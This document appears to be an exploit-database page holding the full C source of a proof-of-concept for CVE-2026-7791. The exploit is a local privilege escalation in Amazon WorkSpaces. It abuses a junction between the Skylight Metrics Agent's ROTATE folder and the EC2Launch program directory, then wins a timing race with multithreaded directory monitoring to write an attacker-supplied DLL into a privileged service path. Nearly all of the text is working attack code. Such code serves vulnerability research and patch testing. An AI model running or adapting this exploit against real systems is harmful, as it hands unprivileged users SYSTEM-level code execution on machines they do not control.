5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.c C
/*
CVE-2026-7791: Privileged by Default 
Local Privilege Escalation in Amazon WorkSpaces via TOCTOU and Arbitrary File Write 
Author: Ben Zamir
For educational purposes only
License: MIT
*/

#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0600 
#endif

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>

// Define THREAD_PRIORITY_HIGH 
#ifndef THREAD_PRIORITY_HIGH
#define THREAD_PRIORITY_HIGH 1
#endif

// Configuration
#define BASE_DIR L"C:\\ProgramData\\Amazon\\Skylight Metrics Agent"
#define ROTATE_DIR L"C:\\ProgramData\\Amazon\\Skylight Metrics Agent\\ROTATE"

// The PoC writes a DLL to the EC2Launch service
#define DEFAULT_JUNCTION_TARGET L"C:\\Program Files\\Amazon\\EC2Launch"
#define DEFAULT_FILENAME L"test.dll"
#define BUFFER_SIZE 4096
#define MAX_FILENAME_LEN 260
#define MAX_PATH_LEN 260

// Global filename (set from command-line argument or user input)
wchar_t g_filename[MAX_FILENAME_LEN] = DEFAULT_FILENAME;

// Global junction target path (set from command-line argument)
wchar_t g_junctionTarget[MAX_PATH_LEN] = DEFAULT_JUNCTION_TARGET;

// Atomic flag using Interlocked operations
volatile LONG g_rotateDeleted = 0;

// Function to delete ROTATE junction atomically
bool DeleteRotateJunction(void) {
    // Atomic check-and-set: if already deleted, return immediately
    LONG expected = 0;
    LONG desired = 1;
    
    LONG result = InterlockedCompareExchange(&g_rotateDeleted, desired, expected);
    
    if (result != 0) {
        // Already deleted by another thread/event
        return false;
    }
    
    // We won the race - delete the junction
    SYSTEMTIME st;
    GetSystemTime(&st);
    wprintf(L"[%02d:%02d:%02d.%03d] [!] Deleting rotate junction\n",
           st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
    wprintf(L"[!] Target: %s\n", ROTATE_DIR);
    wprintf(L"[!] Timing: Target file just appeared, GetArchivedFiles() about to be called\n");
    
    // RemoveDirectoryW 
    for (int attempt = 0; attempt < 3; attempt++) {
        if (RemoveDirectoryW(ROTATE_DIR)) {
            // Verify deletion by checking attributes (forces cache refresh)
            DWORD attrs = GetFileAttributesW(ROTATE_DIR);
            if (attrs == INVALID_FILE_ATTRIBUTES) {
                wprintf(L"[+] Success: ROTATE junction deleted (RemoveDirectoryW, attempt %d)!\n", attempt + 1);
                wprintf(L"[+] Deletion verified - GetArchivedFiles() Directory.Exists() will FAIL\n");
                wprintf(L"[+] No files will be enumerated or moved to TRANSMITTED\n");
                return true;
            }
            // Junction still exists (race condition - recreated?), try again
            if (attempt < 2) {
                Sleep(1);  // Wait 1ms before retry
            }
        }
    }
    
    // Try DeleteFileW
    DWORD error = GetLastError();
    if (error == ERROR_DIRECTORY || error == ERROR_FILE_EXISTS) {
        if (DeleteFileW(ROTATE_DIR)) {
            // Verify deletion
            if (GetFileAttributesW(ROTATE_DIR) == INVALID_FILE_ATTRIBUTES) {
                wprintf(L"[+] Success: ROTATE junction deleted (DeleteFileW)!\n");
                return true;
            }
        }
    }
    
    // Use cmd rmdir (most reliable, but slower - last resort)
    wprintf(L"[!] RemoveDirectoryW failed (error: %lu), trying cmd rmdir...\n", error);
    
    STARTUPINFOW si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);
    si.dwFlags = 0;  // Don't inherit handles for faster execution
    
    wchar_t cmdline[512];
    swprintf_s(cmdline, 512, L"cmd.exe /c rmdir /Q /S \"%s\"", ROTATE_DIR);
    
    if (CreateProcessW(NULL, cmdline, NULL, NULL, FALSE, 
                      CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        WaitForSingleObject(pi.hProcess, 100);  // Wait max 100ms (don't block too long)
        DWORD exitCode;
        if (GetExitCodeProcess(pi.hProcess, &exitCode) && exitCode == 0) {
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
            wprintf(L"[+] Success: ROTATE junction deleted (cmd rmdir)!\n");
            return true;
        }
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    
    wprintf(L"[!] Failed: All methods failed to delete ROTATE junction\n");
    // Reset flag to allow retry
    InterlockedExchange(&g_rotateDeleted, 0);
    return false;
}

// Monitor junction target for file creation
DWORD WINAPI MonitorJunctionTarget(LPVOID lpParam) {
    HANDLE hDir = CreateFileW(
        g_junctionTarget,
        FILE_LIST_DIRECTORY,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
        NULL
    );
    
    if (hDir == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] Error: Failed to open junction target directory (error: %lu)\n", GetLastError());
        return 1;
    }
    
    wprintf(L"[+] Monitoring junction target: %s\n", g_junctionTarget);
    wprintf(L"[+] Waiting for %s creation event...\n", g_filename);
    
    char buffer[BUFFER_SIZE];
    DWORD bytesReturned;
    OVERLAPPED overlapped = {0};
    overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
    
    while (true) {
        // Start asynchronous directory change notification
        if (!ReadDirectoryChangesW(
            hDir,
            buffer,
            BUFFER_SIZE,
            FALSE,  // Watch immediate directory only
            FILE_NOTIFY_CHANGE_FILE_NAME,  // Watch for file name changes
            &bytesReturned,
            &overlapped,
            NULL
        )) {
            wprintf(L"[!] ERROR: ReadDirectoryChangesW failed (error: %lu)\n", GetLastError());
            break;
        }
        
        // Wait for change notification
        DWORD waitResult = WaitForSingleObject(overlapped.hEvent, INFINITE);
        
        if (waitResult == WAIT_OBJECT_0) {
            // Get result
            if (!GetOverlappedResult(hDir, &overlapped, &bytesReturned, FALSE)) {
                wprintf(L"[!] ERROR: GetOverlappedResult failed (error: %lu)\n", GetLastError());
                break;
            }
            
            // Parse notification
            FILE_NOTIFY_INFORMATION* pNotify = (FILE_NOTIFY_INFORMATION*)buffer;
            
            do {
                // Convert filename to null-terminated wide string
                wchar_t filename[MAX_PATH];
                int len = pNotify->FileNameLength / sizeof(wchar_t);
                wcsncpy_s(filename, MAX_PATH, pNotify->FileName, len);
                filename[len] = L'\0';
                
                // Check if it's our target file
                if (_wcsicmp(filename, g_filename) == 0) {
                    // Check action type - FILE_ACTION_ADDED means file was created
                    if (pNotify->Action == FILE_ACTION_ADDED) {
                        SYSTEMTIME st;
                        GetSystemTime(&st);
                        wprintf(L"[%02d:%02d:%02d.%03d] [!] Critical event: %s created in junction target\n",
                               st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, g_filename);
                        wprintf(L"[!] File: %s\\%s\n", g_junctionTarget, filename);
                        wprintf(L"[!] File.Move() JUST completed - ArchiveLogFilesExceptFor() about to finish\n");
                        wprintf(L"[!] GetArchivedFiles() will be called IMMEDIATELY after\n");
                        wprintf(L"[!] DELETING JUNCTION NOW to prevent Directory.Exists() from succeeding!\n");
                        
                        // CRITICAL: Delete ROTATE junction IMMEDIATELY - no delays
                        DeleteRotateJunction();
                    }
                }
                
                // Move to next notification
                if (pNotify->NextEntryOffset == 0) {
                    break;
                }
                pNotify = (FILE_NOTIFY_INFORMATION*)((BYTE*)pNotify + pNotify->NextEntryOffset);
            } while (true);
            
            // Reset event for next notification
            ResetEvent(overlapped.hEvent);
        } else {
            wprintf(L"[!] ERROR: WaitForSingleObject failed\n");
            break;
        }
    }
    
    CloseHandle(overlapped.hEvent);
    CloseHandle(hDir);
    return 0;
}

// Monitor Current directory for enumeration start
DWORD WINAPI MonitorCurrentDirectoryEnumeration(LPVOID lpParam) {
    HANDLE hDir = CreateFileW(
        BASE_DIR,
        FILE_LIST_DIRECTORY,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
        NULL
    );
    
    if (hDir == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] ERROR: Failed to open Current directory (error: %lu)\n", GetLastError());
        return 1;
    }
    
    wprintf(L"[+] Monitoring Current directory for enumeration start\n");
    wprintf(L"[+] Delete junction when ArchiveLogFilesExceptFor() begins\n");
    
    char buffer[BUFFER_SIZE];
    DWORD bytesReturned;
    OVERLAPPED overlapped = {0};
    overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
    
    while (true) {
        // Monitor for directory access (enumeration)
        if (!ReadDirectoryChangesW(
            hDir,
            buffer,
            BUFFER_SIZE,
            FALSE,  // Watch immediate directory only
            FILE_NOTIFY_CHANGE_LAST_ACCESS | FILE_NOTIFY_CHANGE_FILE_NAME,  // Watch for access and file changes
            &bytesReturned,
            &overlapped,
            NULL
        )) {
            wprintf(L"[!] ERROR: ReadDirectoryChangesW failed (error: %lu)\n", GetLastError());
            break;
        }
        
        // Wait for change notification
        DWORD waitResult = WaitForSingleObject(overlapped.hEvent, INFINITE);
        
        if (waitResult == WAIT_OBJECT_0) {
            // Get result
            if (!GetOverlappedResult(hDir, &overlapped, &bytesReturned, FALSE)) {
                wprintf(L"[!] ERROR: GetOverlappedResult failed (error: %lu)\n", GetLastError());
                break;
            }
            
            // Parse notification
            FILE_NOTIFY_INFORMATION* pNotify = (FILE_NOTIFY_INFORMATION*)buffer;
            
            do {
                // Check if this is directory enumeration 
                if (pNotify->Action == FILE_ACTION_REMOVED) {
                    SYSTEMTIME st;
                    GetSystemTime(&st);
                    wchar_t filename[MAX_PATH];
                    int len = pNotify->FileNameLength / sizeof(wchar_t);
                    wcsncpy_s(filename, MAX_PATH, pNotify->FileName, len);
                    filename[len] = L'\0';
                    
                    // If it's our target file being deleted, ArchiveLogFilesExceptFor() has started
                    if (_wcsicmp(filename, g_filename) == 0) {
                        wprintf(L"[%02d:%02d:%02d.%03d] [!] PROACTIVE: ArchiveLogFilesExceptFor() started!\n",
                               st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
                        wprintf(L"[!] File deletion detected - enumeration in progress\n");
                        wprintf(L"[!] Deleting ROTATE junction PROACTIVELY (before GetArchivedFiles() is called)\n");
                        
                        // Delete junction now, before GetArchivedFiles() is called
                        DeleteRotateJunction();
                    }
                }
                
                // Move to next notification
                if (pNotify->NextEntryOffset == 0) {
                    break;
                }
                pNotify = (FILE_NOTIFY_INFORMATION*)((BYTE*)pNotify + pNotify->NextEntryOffset);
            } while (true);
            
            // Reset event for next notification
            ResetEvent(overlapped.hEvent);
        } else {
            wprintf(L"[!] ERROR: WaitForSingleObject failed\n");
            break;
        }
    }
    
    CloseHandle(overlapped.hEvent);
    CloseHandle(hDir);
    return 0;
}

// Monitor Current directory for file deletion (logging only - backup detection)
DWORD WINAPI MonitorCurrentDirectory(LPVOID lpParam) {
    HANDLE hDir = CreateFileW(
        BASE_DIR,
        FILE_LIST_DIRECTORY,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
        NULL
    );
    
    if (hDir == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] ERROR: Failed to open Current directory (error: %lu)\n", GetLastError());
        return 1;
    }
    
    wprintf(L"[+] BACKUP: Monitoring Current directory for file deletion (logging)\n");
    
    char buffer[BUFFER_SIZE];
    DWORD bytesReturned;
    OVERLAPPED overlapped = {0};
    overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
    
    while (true) {
        if (!ReadDirectoryChangesW(
            hDir,
            buffer,
            BUFFER_SIZE,
            FALSE,
            FILE_NOTIFY_CHANGE_FILE_NAME,
            &bytesReturned,
            &overlapped,
            NULL
        )) {
            break;
        }
        
        DWORD waitResult = WaitForSingleObject(overlapped.hEvent, INFINITE);
        
        if (waitResult == WAIT_OBJECT_0) {
            if (!GetOverlappedResult(hDir, &overlapped, &bytesReturned, FALSE)) {
                break;
            }
            
            FILE_NOTIFY_INFORMATION* pNotify = (FILE_NOTIFY_INFORMATION*)buffer;
            
            do {
                wchar_t filename[MAX_PATH];
                int len = pNotify->FileNameLength / sizeof(wchar_t);
                wcsncpy_s(filename, MAX_PATH, pNotify->FileName, len);
                filename[len] = L'\0';
                
                if (_wcsicmp(filename, g_filename) == 0) {
                    if (pNotify->Action == FILE_ACTION_REMOVED || 
                        pNotify->Action == FILE_ACTION_RENAMED_OLD_NAME) {
                        SYSTEMTIME st;
                        GetSystemTime(&st);
                        wprintf(L"[%02d:%02d:%02d.%03d] [*] File DELETED from Current\n",
                               st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
                        wprintf(L"[*] File: %s\n", filename);
                        wprintf(L"[*] ArchiveLogFile() started File.Move()\n");
                    }
                }
                
                if (pNotify->NextEntryOffset == 0) {
                    break;
                }
                pNotify = (FILE_NOTIFY_INFORMATION*)((BYTE*)pNotify + pNotify->NextEntryOffset);
            } while (true);
            
            ResetEvent(overlapped.hEvent);
        } else {
            break;
        }
    }
    
    CloseHandle(overlapped.hEvent);
    CloseHandle(hDir);
    return 0;
}

// High-frequency polling fallback - Monitor junction target for file appearance
DWORD WINAPI PollingFallback(LPVOID lpParam) {
    wchar_t junctionTargetFile[MAX_PATH];
    swprintf_s(junctionTargetFile, MAX_PATH, L"%s\\%s", g_junctionTarget, g_filename);
    
    bool lastExists = false;
    
    // Check initial state
    if (GetFileAttributesW(junctionTargetFile) != INVALID_FILE_ATTRIBUTES) {
        lastExists = true;
    }
    
    wprintf(L"[+] Polling fallback started (checking junction target every 1ms)\n");
    
    while (true) {
        Sleep(1);  // Check every 1ms for maximum responsiveness
        
        DWORD attrs = GetFileAttributesW(junctionTargetFile);
        bool currentExists = (attrs != INVALID_FILE_ATTRIBUTES);
        
        // File appeared in junction target (File.Move() completed)
        if (!lastExists && currentExists) {
            SYSTEMTIME st;
            GetSystemTime(&st);
            wprintf(L"[%02d:%02d:%02d.%03d] [!] Polling: %s detected in junction target!\n",
                   st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, g_filename);
            wprintf(L"[!] File Move completed - deleting ROTATE junction...\n");
            
            // Try to delete ROTATE junction immediately (if not already deleted)
            if (InterlockedCompareExchange(&g_rotateDeleted, 1, 0) == 0) {
                if (RemoveDirectoryW(ROTATE_DIR)) {
                    wprintf(L"[+] Polling: ROTATE junction deleted!\n");
                } else {
                    // Reset flag if deletion failed
                    InterlockedExchange(&g_rotateDeleted, 0);
                    DeleteRotateJunction();
                }
            }
        }
        
        lastExists = currentExists;
    }
    
    return 0;
}

int wmain(int argc, wchar_t* argv[]) {
    wprintf(L"========================================\n");
    wprintf(L"CVE-2026-7791: Local Privilege Escalation in Amazon WorkSpaces via TOCTOU and Arbitrary File Write \n");
    wprintf(L"========================================\n\n");
    
    // Parse command-line arguments
    if (argc > 1) {
        // Filename to monitor
        if (wcslen(argv[1]) < MAX_FILENAME_LEN) {
            wcscpy_s(g_filename, MAX_FILENAME_LEN, argv[1]);
            wprintf(L"[+] Using filename from argument: %s\n", g_filename);
        } else {
            wprintf(L"[!] ERROR: Filename too long (max %d characters)\n", MAX_FILENAME_LEN - 1);
            wprintf(L"[!] Using default: %s\n", DEFAULT_FILENAME);
        }
        
        // Junction target path (optional)
        if (argc > 2) {
            if (wcslen(argv[2]) < MAX_PATH_LEN) {
                wcscpy_s(g_junctionTarget, MAX_PATH_LEN, argv[2]);
                wprintf(L"[+] Using junction target path from argument: %s\n", g_junctionTarget);
            } else {
                wprintf(L"[!] ERROR: Path too long (max %d characters)\n", MAX_PATH_LEN - 1);
                wprintf(L"[!] Using default: %s\n", DEFAULT_JUNCTION_TARGET);
            }
        } else {
            wprintf(L"[*] No junction target path provided, using default: %s\n", DEFAULT_JUNCTION_TARGET);
        }
    } else {
        // No arguments provided - interactive mode
        wprintf(L"[*] No arguments provided\n");
        wprintf(L"[*] Please enter the filename to monitor:\n");
        wprintf(L"[*] > ");
        
        // Read filename from stdin
        wchar_t input[MAX_FILENAME_LEN];
        if (fgetws(input, MAX_FILENAME_LEN, stdin) != NULL) {
            // Remove newline if present
            size_t len = wcslen(input);
            if (len > 0 && input[len - 1] == L'\n') {
                input[len - 1] = L'\0';
            }
            if (len > 1 && input[len - 2] == L'\r') {
                input[len - 2] = L'\0';
            }
            
            // Trim whitespace
            wchar_t* start = input;
            while (*start == L' ' || *start == L'\t') start++;
            wchar_t* end = start + wcslen(start) - 1;
            while (end > start && (*end == L' ' || *end == L'\t' || *end == L'\n' || *end == L'\r')) end--;
            *(end + 1) = L'\0';
            
            if (wcslen(start) > 0 && wcslen(start) < MAX_FILENAME_LEN) {
                wcscpy_s(g_filename, MAX_FILENAME_LEN, start);
                wprintf(L"[+] Using filename: %s\n", g_filename);
            } else {
                wprintf(L"[!] Invalid filename, using default: %s\n", DEFAULT_FILENAME);
            }
        } else {
            wprintf(L"[!] Failed to read input, using default: %s\n", DEFAULT_FILENAME);
        }
        
        // Ask for junction target path
        wprintf(L"\n[*] Please enter the junction target path:\n");
        wprintf(L"[*] > ");
        
        wchar_t pathInput[MAX_PATH_LEN];
        if (fgetws(pathInput, MAX_PATH_LEN, stdin) != NULL) {
            // Remove newline if present
            size_t len = wcslen(pathInput);
            if (len > 0 && pathInput[len - 1] == L'\n') {
                pathInput[len - 1] = L'\0';
            }
            if (len > 1 && pathInput[len - 2] == L'\r') {
                pathInput[len - 2] = L'\0';
            }
            
            // Trim whitespace
            wchar_t* start = pathInput;
            while (*start == L' ' || *start == L'\t') start++;
            wchar_t* end = start + wcslen(start) - 1;
            while (end > start && (*end == L' ' || *end == L'\t' || *end == L'\n' || *end == L'\r')) end--;
            *(end + 1) = L'\0';
            
            if (wcslen(start) > 0 && wcslen(start) < MAX_PATH_LEN) {
                wcscpy_s(g_junctionTarget, MAX_PATH_LEN, start);
                wprintf(L"[+] Using junction target path: %s\n", g_junctionTarget);
            } else {
                wprintf(L"[*] Using default junction target path: %s\n", DEFAULT_JUNCTION_TARGET);
            }
        } else {
            wprintf(L"[*] Using default junction target path: %s\n", DEFAULT_JUNCTION_TARGET);
        }
        
        wprintf(L"\n[*] Usage examples:\n");
        wprintf(L"[*]   %s <filename>\n", argc > 0 ? argv[0] : L"exploit.exe");
        wprintf(L"[*]   %s <filename> <junction_target_path>\n", argc > 0 ? argv[0] : L"exploit.exe");
        wprintf(L"[*]   %s test.dll\n", argc > 0 ? argv[0] : L"exploit.exe");
        wprintf(L"[*]   %s exploit.exe c:\\test\n\n", argc > 0 ? argv[0] : L"exploit.exe");
    }
    
    wprintf(L"\n[*] Configuration:\n");
    wprintf(L"[*]   Target file: %s\n", g_filename);
    wprintf(L"[*]   Current directory: %s\n", BASE_DIR);
    wprintf(L"[*]   ROTATE junction: %s\n", ROTATE_DIR);
    wprintf(L"[*]   Junction target: %s\n", g_junctionTarget);
    
    wprintf(L"[*] Setup\n");
    
    // Verify/Create BASE_DIR
    wprintf(L"[*] Step 1: Checking base directory...\n");
    DWORD baseAttrs = GetFileAttributesW(BASE_DIR);
    if (baseAttrs == INVALID_FILE_ATTRIBUTES) {
        wprintf(L"[+] Base directory does not exist, creating: %s\n", BASE_DIR);
        if (CreateDirectoryW(BASE_DIR, NULL)) {
            wprintf(L"[+] Base directory created successfully\n");
        } else {
            DWORD error = GetLastError();
            if (error == ERROR_ALREADY_EXISTS) {
                wprintf(L"[*] Base directory already exists (race condition)\n");
            } else {
                wprintf(L"[!] ERROR: Failed to create base directory (error: %lu)\n", error);
                return 1;
            }
        }
    } else {
        wprintf(L"[+] Base directory already exists\n");
    }
    
    // Create ROTATE junction
    wprintf(L"[*] Step 2: Checking ROTATE junction...\n");
    DWORD rotateAttrs = GetFileAttributesW(ROTATE_DIR);
    if (rotateAttrs == INVALID_FILE_ATTRIBUTES) {
        wprintf(L"[+] ROTATE junction does not exist, creating...\n");
        wprintf(L"[+] Command: mklink /J \"%s\" \"%s\"\n", ROTATE_DIR, g_junctionTarget);
        
        // Build mklink command
        wchar_t cmdLine[1024];
        swprintf_s(cmdLine, 1024, L"cmd.exe /c mklink /J \"%s\" \"%s\"", ROTATE_DIR, g_junctionTarget);
        
        STARTUPINFOW si = {0};
        PROCESS_INFORMATION pi = {0};
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESHOWWINDOW;
        si.wShowWindow = SW_HIDE;  // Hide window
        
        if (CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
            WaitForSingleObject(pi.hProcess, 5000);  // Wait up to 5 seconds
            DWORD exitCode;
            if (GetExitCodeProcess(pi.hProcess, &exitCode) && exitCode == 0) {
                wprintf(L"[+] ROTATE junction created successfully\n");
            } else {
                wprintf(L"[!] Warning: mklink command may have failed (exit code: %lu)\n", exitCode);
            }
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        } else {
            wprintf(L"[!] ERROR: Failed to execute mklink command (error: %lu)\n", GetLastError());
            return 1;
        }
    } else {
        if (rotateAttrs & FILE_ATTRIBUTE_REPARSE_POINT) {
            wprintf(L"[+] ROTATE junction already exists\n");
        } else {
            wprintf(L"[!] Note: ROTATE exists but is not a junction!\n");
            wprintf(L"[!] Attempting to delete and recreate...\n");
            if (RemoveDirectoryW(ROTATE_DIR) || DeleteFileW(ROTATE_DIR)) {
                // Recreate as junction
                wchar_t cmdLine[1024];
                swprintf_s(cmdLine, 1024, L"cmd.exe /c mklink /J \"%s\" \"%s\"", ROTATE_DIR, g_junctionTarget);
                STARTUPINFOW si = {0};
                PROCESS_INFORMATION pi = {0};
                si.cb = sizeof(si);
                si.dwFlags = STARTF_USESHOWWINDOW;
                si.wShowWindow = SW_HIDE;
                if (CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
                    WaitForSingleObject(pi.hProcess, 5000);
                    CloseHandle(pi.hProcess);
                    CloseHandle(pi.hThread);
                }
            }
        }
    }
    
    // Verify junction was created
    rotateAttrs = GetFileAttributesW(ROTATE_DIR);
    if (rotateAttrs == INVALID_FILE_ATTRIBUTES) {
        wprintf(L"[!] Note: ROTATE junction does not exist after creation attempt!\n");
        wprintf(L"[!] Please create it manually: mklink /J \"%s\" \"%s\"\n", ROTATE_DIR, g_junctionTarget);
        return 1;
    }
    if (!(rotateAttrs & FILE_ATTRIBUTE_REPARSE_POINT)) {
        wprintf(L"[!] Note: ROTATE is not a junction/reparse point!\n");
        return 1;
    }
    wprintf(L"[+] Confirmed ROTATE is a junction/reparse point\n");
    
    // Check if file exists in program directory and copy it
    wprintf(L"[*] Step 3: Checking for file in program directory...\n");
    
    // Get program directory
    wchar_t programPath[MAX_PATH];
    if (GetModuleFileNameW(NULL, programPath, MAX_PATH) == 0) {
        wprintf(L"[!] Warning: Failed to get program path (error: %lu)\n", GetLastError());
    } else {
        // Extract directory from full path
        wchar_t* lastSlash = wcsrchr(programPath, L'\\');
        if (lastSlash != NULL) {
            *(lastSlash + 1) = L'\0';  // Null-terminate at directory (keeps backslash)
        } else {
            // No backslash found (unlikely), add one
            size_t len = wcslen(programPath);
            if (len < MAX_PATH - 1) {
                programPath[len] = L'\\';
                programPath[len + 1] = L'\0';
            }
        }
        
        // Build source file path
        wchar_t sourceFile[MAX_PATH];
        swprintf_s(sourceFile, MAX_PATH, L"%s%s", programPath, g_filename);
        
        // Build destination file path
        wchar_t destFile[MAX_PATH];
        swprintf_s(destFile, MAX_PATH, L"%s\\%s", BASE_DIR, g_filename);
        
        // Check if source file exists
        DWORD sourceAttrs = GetFileAttributesW(sourceFile);
        if (sourceAttrs != INVALID_FILE_ATTRIBUTES && !(sourceAttrs & FILE_ATTRIBUTE_DIRECTORY)) {
            wprintf(L"[+] File found in program directory: %s\n", sourceFile);
            wprintf(L"[+] Copying to: %s\n", destFile);
            
            // Copy file
            if (CopyFileW(sourceFile, destFile, FALSE)) {  
                wprintf(L"[+] File copied successfully\n");
            } else {
                DWORD error = GetLastError();
                if (error == ERROR_FILE_EXISTS) {
                    wprintf(L"[*] File already exists in destination, skipping copy\n");
                } else {
                    wprintf(L"[!] WARNING: Failed to copy file (error: %lu)\n", error);
                    wprintf(L"[!] Continuing anyway - file may already be in target directory\n");
                }
            }
        } else {
            wprintf(L"[*] File not found in program directory: %s\n", sourceFile);
            wprintf(L"[*] Assuming file is already in target directory or will be placed manually\n");
        }
    }
    
    wprintf(L"[+] Setup Complete \n\n");
    
    // Increase process priority to HIGH (doesn't require admin)
    if (SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS)) {
        wprintf(L"[+] Process priority set to HIGH_PRIORITY_CLASS\n");
    } else {
        wprintf(L"[!] Warning: Failed to set process priority (error: %lu)\n", GetLastError());
    }
    
    wprintf(L"\n[*] Starting monitoring threads...\n\n");
    
    // Monitor Current directory for enumeration start
    HANDLE hProactiveThread = CreateThread(
        NULL,
        0,
        MonitorCurrentDirectoryEnumeration,
        NULL,
        0,
        NULL
    );
    
    if (!hProactiveThread) {
        wprintf(L"[!] Error: Failed to create proactive monitor thread (error: %lu)\n", GetLastError());
        return 1;
    }
    SetThreadPriority(hProactiveThread, THREAD_PRIORITY_HIGH);
    
    // reate junction target monitoring thread (ReadDirectoryChangesW)
    HANDLE hJunctionTargetThread = CreateThread(
        NULL,
        0,
        MonitorJunctionTarget,
        NULL,
        0,
        NULL
    );
    
    if (!hJunctionTargetThread) {
        wprintf(L"[!] Error: Failed to create junction target monitor thread (error: %lu)\n", GetLastError());
        CloseHandle(hProactiveThread);
        return 1;
    }
    SetThreadPriority(hJunctionTargetThread, THREAD_PRIORITY_HIGH);
    
    // Create Current directory monitoring thread (logging only)
    HANDLE hCurrentThread = CreateThread(
        NULL,
        0,
        MonitorCurrentDirectory,
        NULL,
        0,
        NULL
    );
    
    if (!hCurrentThread) {
        wprintf(L"[!] Error: Failed to create Current directory monitor thread (error: %lu)\n", GetLastError());
        CloseHandle(hProactiveThread);
        CloseHandle(hJunctionTargetThread);
        return 1;
    }
    
    // Create polling fallback thread (high-frequency check - 1ms)
    HANDLE hPollingThread = CreateThread(
        NULL,
        0,
        PollingFallback,
        NULL,
        0,
        NULL
    );
    
    if (!hPollingThread) {
        wprintf(L"[!] ERROR: Failed to create polling thread (error: %lu)\n", GetLastError());
        CloseHandle(hProactiveThread);
        CloseHandle(hJunctionTargetThread);
        CloseHandle(hCurrentThread);
        return 1;
    }
    SetThreadPriority(hPollingThread, THREAD_PRIORITY_HIGH);
    
    wprintf(L"[+] Monitoring Current directory for enumeration start\n");
    wprintf(L"[+] Monitoring junction target for %s creation\n", g_filename);
    wprintf(L"[+] Monitoring Current directory for file deletion (logging)\n");
    wprintf(L"[+] High-frequency polling (1ms) on junction target\n");
    wprintf(L"[+] Press Ctrl+C to stop\n\n");
    
    // Wait for threads (or Ctrl+C)
    HANDLE threads[] = {hProactiveThread, hJunctionTargetThread, hCurrentThread, hPollingThread};
    WaitForMultipleObjects(4, threads, FALSE, INFINITE);
    
    // Cleanup
    TerminateThread(hProactiveThread, 0);
    TerminateThread(hJunctionTargetThread, 0);
    TerminateThread(hCurrentThread, 0);
    TerminateThread(hPollingThread, 0);
    CloseHandle(hProactiveThread);
    CloseHandle(hJunctionTargetThread);
    CloseHandle(hCurrentThread);
    CloseHandle(hPollingThread);
    
    wprintf(L"\n[*] Monitoring stopped\n");
    return 0;
}